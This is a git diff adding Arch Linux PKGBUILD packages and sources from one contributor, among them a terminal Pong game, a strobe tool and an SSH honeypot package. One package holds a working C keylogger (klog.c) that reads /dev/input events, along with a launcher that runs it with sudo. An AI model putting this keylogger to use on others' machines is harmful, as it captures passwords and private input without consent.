z>(>(9zjhzzt~WFf?@{E`O4NzoU7|z6>(t+3Q1HINzSZ-%&~_MG`k07~(0lxIt`By* z9%_$P@IaZ=tTV~mZIUA%awYP1$Q+1|MS{OR&?D7s;?W^m)@O0-X+>z&bS`&>-29%V zS~6doL(a!ivqok}aF0|?Bm0Fs((m8wygoP1HnErit}HWJGR`}D=O;8PzjVdiD4v!V^lc8!qMjp zh-|VsTE3LfN=5rx&3DgDC-(PW?z`yvElz6MRoR=wG;F~+_2Z%^A|CqPGl-nQ!Jc-4 vYcl!bi4@Kqt`tj2MxqJw3Qx%XF0`I-Ikc-^&W9Ryu^WtA{w@6P0|)yrC_;$3 literal 0 HcmV?d00001 diff --git a/gpointing-device-settings/PKGBUILD b/gpointing-device-settings/PKGBUILD new file mode 100644 index 0000000..61987e3 --- /dev/null +++ b/gpointing-device-settings/PKGBUILD @@ -0,0 +1,51 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=gpointing-device-settings +pkgver=1.5.1 +pkgrel=2 +pkgdesc="GUI tool for setting pointing device such as TrackPoint or Touchpad. Each UI can be written as dynamic loadable module, so a third party can add its own UI. This +will replace GSynaptics." +arch=('i686' 'x86_64') +license=('GPL') +url="http://live.gnome.org/GPointingDeviceSettings" +depends=( + 'gtk2' 'gconf' 'gnome-settings-daemon' +) +makedepends=( + 'intltool' 'pkgconfig' +) +optdepends=( + 'xf86-input-synaptics: Synaptics touchpads' + 'libsynaptics: Synaptics touchpads' +) + +source=("http://keihanna.dl.sourceforge.jp/gsynaptics/45812/${pkgname}-${pkgver}.tar.gz") +md5sums=('1d1491473df8eabca3c15c997a975d7f') + +build() { + cd "${srcdir}/${pkgname}-${pkgver}" + ./configure --prefix=/usr --sysconfdir=/etc || return 1 + #./configure || return 1 + make || return 1 + make DESTDIR=${pkgdir} install || return 1 + + mkdir -p ${pkgdir}/usr/bin + cd ${pkgdir}/usr/bin + + mkdir -p ${pkgdir}/usr/share/applications + +# echo '[Desktop Entry] +#Encoding=UTF-8 +#Name=gpointing-device-settings +#Comment=Set your pointing device (such as TrackPoint or Touchpad) preferences +#Exec=gpointing-device-settings +##Icon=input-mouse +#Icon=input_devices_settings +#Terminal=false +#Type=Application +#StartupNotify=true +#Categories=GNOME;GTK;Settings;HardwareSettings;Application; +#' > ${pkgdir}/usr/share/applications/gnome-gpointing-device-settings.desktop + +} diff --git a/harvies-jukebox-svn/PKGBUILD b/harvies-jukebox-svn/PKGBUILD new file mode 100644 index 0000000..8bc319d --- /dev/null +++ b/harvies-jukebox-svn/PKGBUILD @@ -0,0 +1,25 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=harvies-jukebox-svn +pkgver=5 +pkgrel=1 +pkgdesc="Simple PHP application acting as jukebox or music library. This allows you to stream or download your music many ways. Will be checked from SVN to /srv/http/h-jukebox. You will need some http server with PHP and do some settings in .php files. Then you can add symlink to your music collection in this application." +arch=('any') +license=('BSD') +url="http://code.google.com/p/h-jukebox/" +makedepends=('subversion') + +_svntrunk="http://h-jukebox.googlecode.com/svn/trunk/" +_svnmod="h-jukebox-read-only" + +build() { + mkdir -p ${pkgdir}/srv/http/h-jukebox + + cd ${srcdir} + svn checkout ${_svntrunk} ${_svnmod} + + cp -R ${srcdir}/${_svnmod}/* ${pkgdir}/srv/http/h-jukebox + find ${pkgdir} -name .svn -print0 | xargs -0 rm -rf #remove .svn directories + chmod -R 655 ${pkgdir}/ +} diff --git a/hpong/PKGBUILD b/hpong/PKGBUILD new file mode 100644 index 0000000..7889ec4 --- /dev/null +++ b/hpong/PKGBUILD @@ -0,0 +1,37 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=dream-strobe +pkgver=2 +pkgrel=1 +pkgdesc="Stroboscope implementation for GNU/Linux console. Also called 'Dream Machine' or 'Strobe'. Can be used to alternate state of consciousness by affecting brainwave frequencies. Use only at your own risk!" +arch=('any') +license=('GPL') +url="http://aur.archlinux.org/packages.php?ID=27012" +depends=() +source=('strobe.c') +md5sums=('8df74539c4f79aaf54a8a6d4423e3b4a') + +build() { + mkdir -p ${pkgdir}/usr/bin + gcc ${startdir}/strobe.c -o ${pkgdir}/usr/bin/dream-strobe || return 1 + +mkdir -p ${pkgdir}/usr/share/applications + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=Dream Strobe (10 Hz) +Comment=Strobe (Dream Machine) +Comment[cs]=Stroboskop (Stroj na sny) +GenericName=10 Hz Stroboscope +Type=Application +TryExec=/usr/bin/xterm +Exec=xterm -e '/usr/bin/dream-strobe 10' +Icon=weather-storm +Terminal=false +Categories=Application;Utility; +' > ${pkgdir}/usr/share/applications/dream-strobe.desktop + + chmod -R 755 ${pkgdir}/ +} diff --git a/hpong/pong.c b/hpong/pong.c new file mode 100644 index 0000000..49227b7 --- /dev/null +++ b/hpong/pong.c @@ -0,0 +1,345 @@ +/* hPong 0.3 + * <~~Harvie 2oo8 + * Released under Creative Commons + * + * Requirements: + * - stty + * - ansi terminal with resolution >= 80x24 characters + */ + +/* You can use this code to control hPong with Arduino (and potentiometer): +------------------------ CUT HERE ----------------------------------------- +// Pong controller (for use with hPong) +// <~~Harvie 2oo8 + +#define inpin 0 +int min = 65535, max = 0; +int stadium_max = 14; +char offset = 8; +float val = 0, oldval = -255; + +void setup() // run once, when the sketch starts +{ + stadium_max+=offset; + Serial.begin(115200); +} + +void loop() // run over and over again +{ + val = analogRead(inpin); + if(valmax) max=val; + val=(((val-(min))/(max-(min)))*stadium_max)-offset; + if(val!=oldval) { + oldval = val; + //Serial.print(min, DEC); Serial.print("-"); Serial.print(max, DEC); Serial.print("\n"); + //Serial.print(val, DEC); Serial.print("\n"); + Serial.print(val, BYTE); + } + delay(1); +} +------------------------ CUT HERE ----------------------------------------- +*/ + +#include +#include +#include + +//Settings +char pixchar = '#'; + +int turntime = 25; //Time of turn in ms (inverted speed) +int debugturntime = 0; //Turntime for debuging + +unsigned char padsize = 1; //Size of pad +char padspeed = 2; //Speed of pad (pixels per keypress) + +unsigned char ui_skill_l = 120; //Skill of UI = (0-255); 0=disabled, 255=godmode +unsigned char ui_skill_r = 0; //Skill of UI = (0-255); 0=disabled, 255=godmode +unsigned char debug = 0; //UI Debug mode + +unsigned char music = 0; //Enable music? (Bool) +char music_cmd[] ="while true; do mplayer /usr/share/chiptunes/* >/dev/null 2>&1; done;"; + +unsigned char arduino = 0; //Enable Arduino? (Bool) +char arduinodev[] = "/dev/ttyUSB0"; + +//Stadium +unsigned char *stadium_bitmap[] = { +"#### hPong 0.3 ################################################", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"# #", +"# | #", +"########################################### <~~Harvie 2oo8 ####"}; +char stadium_lines = 17; //15+2 +char stadium_width = 63; //60+2+1 + +//Banners +unsigned char banner_start[] = +"\n\n\n\n\n\n\n\n\n\n\n" +" ## #### by: <~~Harvie 2oo8\n" +" ## # #\n" +" ## ## ## #### ### #### ###\n" +" ####### ###### # # # # # # #\n" +" ## ## ## # ### # # ####\n" +" ## ## ## #\n" +" ## Press any key to start! ###\n"; + +unsigned char banner_lose[] = +"\n\n\n\n\n\n\n\n\n\n\n\n\n" +" ### # # ### # # # ### #\n" +" # # # # # # # # # #\n" +" # # ### ### ### # # #\n" +" # # # # # # # # #\n" +" ### # # ### # # # # #\n" +"\n" +" Score: %d : %d\n" +" (Press Any Key to continue...)\n"; + +//Numbers +char stadium_offset = 7; +char score_space[] = " "; +unsigned char *num_bitmaps[]={ +"#### ## ## ####", //0 +" # # # # #", //1... +"### ##### ###", +"### #### ####", +" # # ### # ", +"#### ### ####", +"#### #### ####", +"### # # # # ", +"#### ##### ####", +"#### #### ####"}; //9 + +//Other Values +char stadium_max; //Set by init() + +char ball_c = 1; //x +char ball_l = 0; //y +char ballmove_c = 1; //x +char ballmove_l = 1; //y + +char player_l = 7; //Left +char player_r = 7; //Right + +unsigned int score_l = 0; +unsigned int score_r = 0; + +//Misc +char loop=0; +char temp; +FILE *musicfd = NULL; +FILE *arduinofd = NULL; + +//Functions +void blank() { + printf("\033[2J"); //Clear screen + printf("\033[0;0H"); //L:C = 0:0 +} + +void quit() { + if(arduino) fclose(arduinofd); + ualarm(0, 0); + system("stty icanon"); + blank(); + printf("hPong exited! Scrore was %d : %d\n<~~Harvie 2oo8\n", score_l, score_r); + exit(255); + if(music) pclose(musicfd); +} + +void music_start() { + if( (musicfd = popen(music_cmd, "r"))==NULL ) { + printf("Cannot initialize music\n"); + quit(); + } +} + +void win(char player) { + switch(player) { + case 'l': + score_l++; + ball_l = 2; ball_c = stadium_width-3; ballmove_c = -1; + break; + + case 'r': + score_r++; + ball_l = 2; ball_c = 3; ballmove_c = 1; + break; + } + blank(); + printf(banner_lose, score_l, score_r); + if(!debug) sleep(1); + if(!arduino && (ui_skill_l == 0 || ui_skill_r == 0)) getchar(); + blank(); +} + +void reset_scr() { + printf("\033[0;0H"); //L:C = 0:0 +} + +void pixel(char c, char line, char col) { + printf("\033[%d;%dH", line, col); + putchar(c); + printf("\033[0;0H"); //L:C = 0:0 +} + +void draw_stadium() { + unsigned char i, x, sl, sr; + sl = score_l%10; sr = score_r%10; + for(i=0;i=1 && i<=5) { + x = (i-1)*3; + printf("%s%c%c%c . %c%c%c", score_space, + num_bitmaps[sl][x], num_bitmaps[sl][x+1], num_bitmaps[sl][x+2], + num_bitmaps[sr][x], num_bitmaps[sr][x+1], num_bitmaps[sr][x+2] + ); + } + putchar('\n'); + } + for(i=0;i ball_l) player_l--; + } + + if((unsigned char)rand() < ui_skill_r) { //Right + if(player_r < ball_l) player_r++; + if(player_r > ball_l) player_r--; + } + + //Move ball + ball_c += ballmove_c; + ball_l += ballmove_l; + + //Pong (horizontal) + if(ball_c == 1) { //left + if(abs(ball_l-player_l) <= padsize+1) { + ballmove_c = -ballmove_c; + ball_c++; + } else { + win('r'); + } + } + + if(ball_c == stadium_width-3) { //right + if(abs(ball_l-player_r) <= padsize+1) { + ballmove_c = -ballmove_c; + ball_c--; + } else { + win('l'); + } + } + + //Bounce ball (vertical) + if(ball_l >= stadium_max || ball_l <= 0) ballmove_l = -ballmove_l; +} + +void redraw() { + char i; + //Clear + reset_scr(); + + //Stadium + draw_stadium(); + + //Check player pos limits + if(player_r < 0) player_r = 0; + if(player_r > stadium_max) player_r = stadium_max; + + if(player_l < 0) player_l = 0; + if(player_l > stadium_max) player_l = stadium_max; + + //Pads + for(i=-padsize;i +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=imageenlarger +pkgver=0.9.0 +pkgrel=1 +pkgdesc="Small graphical tool (based on Qt) to resize, especially magnify bitmaps in high quality. (also called SmillaEnlarger)" +arch=('any') +license=('GPL') +url="http://sourceforge.net/projects/imageenlarger/" +depends=('qt') +source=("http://downloads.sourceforge.net/project/imageenlarger/imageenlarger/SmillaEnlarger%20Release%20${pkgver}/SmillaEnlarger_${pkgver}_source.zip") +md5sums=('a2ce1db14eb2c8addd97986e65da0689') + +build() { + cd "${srcdir}/SmillaEnlarger_${pkgver}_source/SmillaEnlargerSrc/" || return 1 + qmake ImageEnlarger.pro || return 1 + make || return 1 + + mkdir -p ${pkgdir}/usr/bin/ + cp SmillaEnlarger ${pkgdir}/usr/bin/ + + chmod -R 755 ${pkgdir} + + #Desktop Launcher + mkdir -p ${pkgdir}/usr/share/applications + echo '[Desktop Entry] +Encoding=UTF-8 +Name=SmillaEnlarger +GenericName=ImageEnlarger +Comment=Resize images using hi-tech alghoritms +Exec=/usr/bin/SmillaEnlarger +Icon=smilla +StartupNotify=true +Terminal=false +Type=Application +Categories=Application;Graphics;' > ${pkgdir}/usr/share/applications/SmillaEnlarger.desktop + + #Icon + mkdir -p ${pkgdir}/usr/share/pixmaps + cp smilla.ico ${pkgdir}/usr/share/pixmaps/ + cp smilla.png ${pkgdir}/usr/share/pixmaps/ + +} diff --git a/imageenlarger/smillaenlarger.ini b/imageenlarger/smillaenlarger.ini new file mode 100644 index 0000000..19ea148 --- /dev/null +++ b/imageenlarger/smillaenlarger.ini @@ -0,0 +1,33 @@ +[parameters] +array\1\name=default +array\1\sharp=80 +array\1\flat=10 +array\1\dither=20 +array\1\deNoise=10 +array\1\preSharp=0 +array\1\fractNoise=0 +array\size=1 +currentIndex=0 + +[General] +DestinationFolder= + +[Formatters] +currentIndex=0 +zoom=500 +width=500 +height=500 +stretchW=500 +stretchH=500 +maxW=500 +maxH=500 +cropW=500 +cropH=500 +cropStretch=1 +addBarW=500 +addBarH=500 + +[Cropping] +currentIndex=2 +customX=4 +customY=5 diff --git a/infector/PKGBUILD b/infector/PKGBUILD new file mode 100644 index 0000000..771e34b --- /dev/null +++ b/infector/PKGBUILD @@ -0,0 +1,29 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=infector +pkgver=0.2 +pkgrel=1 +pkgdesc="Warcraft2 clone - now deprecated and replaced by Stratagus/Wargus. You can also play Original WarCraft 1 or 2 in DosBox." +arch=('i686' 'x86_64') +license=('GPL') +url="" +depends=('libglademm' 'gtkmm') + +source=( + "http://infector.mangobrain.co.uk/downloads/${pkgname}-${pkgver}.tar.gz" +) + +md5sums=( +) + + +build() { + #mkdir -p ${pkgdir}/opt/freecraft + cd "${srcdir}/${pkgname}-${pkgver}" + + ./configure + make + + chmod -R 655 ${pkgdir}/ +} diff --git a/java-swing-default-laf/PKGBUILD b/java-swing-default-laf/PKGBUILD new file mode 100644 index 0000000..bc681d0 --- /dev/null +++ b/java-swing-default-laf/PKGBUILD @@ -0,0 +1,25 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=java-swing-default-laf-gtk +pkgver=1 +pkgrel=1 +pkgdesc='Set default java (swing) applications appearance (LookAndFeel) to native GTK+ using swing.properties file' +arch=('any') +license=('Copyleft') +url='http://java.sun.com/docs/books/tutorial/uiswing/lookandfeel/plaf.html' +depends=('java-runtime') + +source=('swing.properties') +md5sums=('c13b8a070befe250214da2558b227a6c') + +build() { + #you can modify swing.properties to use different LookAndFeel + #you can also add more directories here (when you have multiple java instalations) + for i in '/opt/java/jre/lib' '/opt/java/lib'; do + msg2 "installing swing.properties to $i"; + mkdir -p ${pkgdir}${i}/ || return 1 + cp swing.properties ${pkgdir}${i}/ || return 1 + done; +} diff --git a/java-swing-default-laf/swing.properties b/java-swing-default-laf/swing.properties new file mode 100755 index 0000000..1406255 --- /dev/null +++ b/java-swing-default-laf/swing.properties @@ -0,0 +1,7 @@ +swing.defaultlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel +#swing.defaultlaf=javax.swing.plaf.metal.MetalLookAndFeel +#swing.defaultlaf=com.sun.java.swing.plaf.motif.MotifLookAndFeel +#swing.defaultlaf=com.jgoodies.plaf.windows.ExtWindowsLookAndFeel +#swing.defaultlaf=com.jgoodies.plaf.plastic.PlasticLookAndFeel +#swing.defaultlaf=com.jgoodies.plaf.plastic.Plastic3DLookAndFeel +#swing.defaultlaf=com.jgoodies.plaf.plastic.PlasticXPLookAndFeel diff --git a/kernel-man-pages/PKGBUILD b/kernel-man-pages/PKGBUILD new file mode 100644 index 0000000..9276f60 --- /dev/null +++ b/kernel-man-pages/PKGBUILD @@ -0,0 +1,34 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +# Contributor: Robson Peixoto +# Contributor: Ray Kohler +# Category: system + +pkgname=kernel-man-pages +pkgver=2.6.32.3 +pkgrel=1 +pkgdesc="Kernel hackers manual - Section 9 manpages that come with the Linux kernel." +arch=('any') +license=('GPL') +url="http://www.kernel.org/" +groups=('base') +makedepends=('docbook-xml' 'docbook-xsl' 'xmlto') +conflicts=('kernel-manpages' 'kernel26-manpages') +source=(ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-${pkgver}.tar.bz2) +md5sums=('730045c2c7f7e6618db3c4d4d7094853') + +build() { +cd ${srcdir}/linux-${pkgver} + +make mrproper +make mandocs + +install -d ${pkgdir}/usr/share/man/man9/ +install ${srcdir}/linux-${pkgver}/Documentation/DocBook/man/*.9.gz \ +${pkgdir}/usr/share/man/man9/ + +find ${pkgdir} -type f -exec chmod 644 {} \; + +} diff --git a/klog/PKGBUILD b/klog/PKGBUILD new file mode 100644 index 0000000..39cc07f --- /dev/null +++ b/klog/PKGBUILD @@ -0,0 +1,37 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=keylog +pkgver=0.6 +pkgrel=2 +pkgdesc="Simple keyloger using /dev/input." +arch=('any') +license=('GPL') +url="http://aur.archlinux.org/packages.php?ID=26497" +depends=('glibc') +source=('klog.c') +md5sums=('a6ba53cdd6df91203e5a15ba7098b0c8') + +build() { + mkdir -p ${pkgdir}/usr/bin + gcc ${startdir}/klog.c -o ${pkgdir}/usr/bin/keylog + +mkdir -p ${pkgdir}/usr/share/applications + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=KeyLog +Comment=Reads keystrokes from /dev/input events +Comment[cs]=Zobrazuje stisky kláves zjiÅ¡těné z událostí v /dev/input +GenericName=Key Loger +Type=Application +TryExec=/usr/bin/xterm +Exec=xterm -e "sudo /usr/bin/keylog /dev/input/event1; sleep 5;" +Icon=preferences-desktop-keyboard +Terminal=false +Categories=Application;System; +' > ${pkgdir}/usr/share/applications/key-loger.desktop + + chmod -R 755 ${pkgdir}/ +} diff --git a/klog/PKGBUILD.bak b/klog/PKGBUILD.bak new file mode 100644 index 0000000..1ac8bc5 --- /dev/null +++ b/klog/PKGBUILD.bak @@ -0,0 +1,37 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=keylog +pkgver=0.6 +pkgrel=2 +pkgdesc="Simple keyloger using /dev/input." +arch=('any') +license=('GPL') +url="http://aur.archlinux.org/packages.php?ID=26497" +depends=('glibc') +source=('klog.c') +md5sums=('a6ba53cdd6df91203e5a15ba7098b0c8' 'a6ba53cdd6df91203e5a15ba7098b0c8') + +build() { + mkdir -p ${pkgdir}/usr/bin + gcc ${startdir}/klog.c -o ${pkgdir}/usr/bin/keylog + +mkdir -p ${pkgdir}/usr/share/applications + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=KeyLog +Comment=Reads keystrokes from /dev/input events +Comment[cs]=Zobrazuje stisky kláves zjiÅ¡těné z událostí v /dev/input +GenericName=Key Loger +Type=Application +TryExec=/usr/bin/xterm +Exec=xterm -e "sudo /usr/bin/keylog /dev/input/event1; sleep 5;" +Icon=preferences-desktop-keyboard +Terminal=false +Categories=Application;System; +' > ${pkgdir}/usr/share/applications/key-loger.desktop + + chmod -R 755 ${pkgdir}/ +} diff --git a/klog/bash b/klog/bash new file mode 100644 index 0000000..e69de29 diff --git a/klog/klog b/klog/klog new file mode 100755 index 0000000000000000000000000000000000000000..b6a2f5d64aebdb76f669d23e0ab50f58283a35f7 GIT binary patch literal 7276 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 = keystroke id + * - set MAXSTROKE to 0 to get only keystroke values + * + * Defensive security: + * - chown & chmod /dev/input/event0 + * - don't give cheap root to everybody + */ + +#include +#include +#include +#define DEFAULTINPUT "/dev/input/event0" + +#define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) +char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: + "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", + "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", + "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", + "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", + "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", + "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", + "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]", + "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n", + "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>", + "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", + "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", + "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]" + /* Hint: + [CAPSL][ESC] = CapsLock On + [CAPSL] = CapsLock Off + [NUML]<0> = NumLock On + [NUML] = NumLock Off + 3[ESC]3 = Escape + */ +}; + +void cleanup(void) { + fclose(stdin); + fclose(stdout); +} + +static void sigint_handler(int signo) { + exit(0); +} + +int main(int argc, char *argv[]) { + + atexit(&cleanup); + signal(SIGINT, &sigint_handler); + signal(SIGTERM, &sigint_handler); + signal(SIGQUIT, &sigint_handler); + signal(SIGSEGV, &sigint_handler); + + + FILE *ftest; + printf("Reading data from: "); + if(argc > 1 && argv[1][0] != '-') { + ftest = freopen(argv[1], "rb", stdin); + printf("%s\n", argv[1]); + } + if(argc > 1 && argv[1][0] == '-') { + ftest = freopen(DEFAULTINPUT, "rb", stdin); + printf("%s\n", DEFAULTINPUT); + } + if(argc == 1) { + printf("STDIN\n", argv[1]); + } + + if(ftest == NULL) { + printf("Failed to open file!\n\n"); + return(1); + } + + printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); + + unsigned char keystroke[17]; + while(1) { + read(0, keystroke, 16); + if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) { + if(keystroke[10] <= MAXSTROKE) { + printf("%s", strokes[keystroke[10]]); + } else { + printf("<%d>", keystroke[10]); + } + } + } + +} diff --git a/kojoney/PKGBUILD b/kojoney/PKGBUILD new file mode 100644 index 0000000..7f93332 --- /dev/null +++ b/kojoney/PKGBUILD @@ -0,0 +1,32 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=kojoney +pkgver=0.0.4.1 +pkgrel=1 +pkgdesc="Koret SSH HoneyPot." +arch=('any') +license=('GPL') +url="http://kojoney.sourceforge.net/" +depends=( + 'openssl' + 'bash' + 'python' + #python: + #'twisted' + #optional: + 'perl' +) + +source=( + "http://downloads.sourceforge.net/sourceforge/${pkgname}/${pkgname}-${pkgver}.tar.gz" + ) + +md5sums=( + '85c588498051bdfc6c69b7827cfebbfa' + ) + + +build() { + return 1 +} diff --git a/kolourpaint-bin/PKGBUILD b/kolourpaint-bin/PKGBUILD new file mode 100644 index 0000000..fa144c8 --- /dev/null +++ b/kolourpaint-bin/PKGBUILD @@ -0,0 +1,31 @@ +# Contributor: Thomas Mudrunka + +pkgname=kolourpaint-bin +dlpkgname=kolourpaint +pkgver=1.2.2_kde3 +binver=3bin + +pkgrel=1 +pkgdesc="Binary version of simple, easy-to-use paint program for KDE. This is temporary version meant to be replaced by source version in future." +arch=('i686') +license=('GPL') +url="http://kolourpaint.sourceforge.net/" +depends=('qt3' 'kdelibs3') +conflicts=('kolourpaint') +provides=('kolourpaint') +source=(http://downloads.sourceforge.net/sourceforge/kolourpaint/${dlpkgname}-${pkgver}-${binver}.tar.bz2) +md5sums=('4b699de6a68600eee8df349b046c88ee') + +build() { + cd ${srcdir}/${dlpkgname}-${pkgver}-${binver} + + mkdir -p ${pkgdir}/opt/kolourpaint + cp -r ${srcdir}/${dlpkgname}-${pkgver}-${binver}/* ${pkgdir}/opt/kolourpaint/ + chmod -R 655 ${pkgdir}/opt/kolourpaint/ + + mkdir -p ${pkgdir}/usr/bin + echo '#!/bin/sh + /opt/kolourpaint/kolourpaint $@' > ${pkgdir}/usr/bin/kolourpaint + chmod -R 655 ${pkgdir}/usr/bin/kolourpaint +} + diff --git a/kolourpaint-dummy/PKGBUILD b/kolourpaint-dummy/PKGBUILD new file mode 100644 index 0000000..940d42e --- /dev/null +++ b/kolourpaint-dummy/PKGBUILD @@ -0,0 +1,10 @@ +#No longer maintained! +pkgname=kolourpaint +pkgver=1337 +pkgrel=1 +pkgdesc="easy-to-use paint program for KDE. Obsolete dummy package - kdegraphics should be used instead" +arch=('any') +license=('GPL') +url="http://kolourpaint.sourceforge.net/" +depends=('kdegraphics') +build() { return 0; } diff --git a/kolourpaint/PKGBUILD b/kolourpaint/PKGBUILD new file mode 100644 index 0000000..d92431c --- /dev/null +++ b/kolourpaint/PKGBUILD @@ -0,0 +1,30 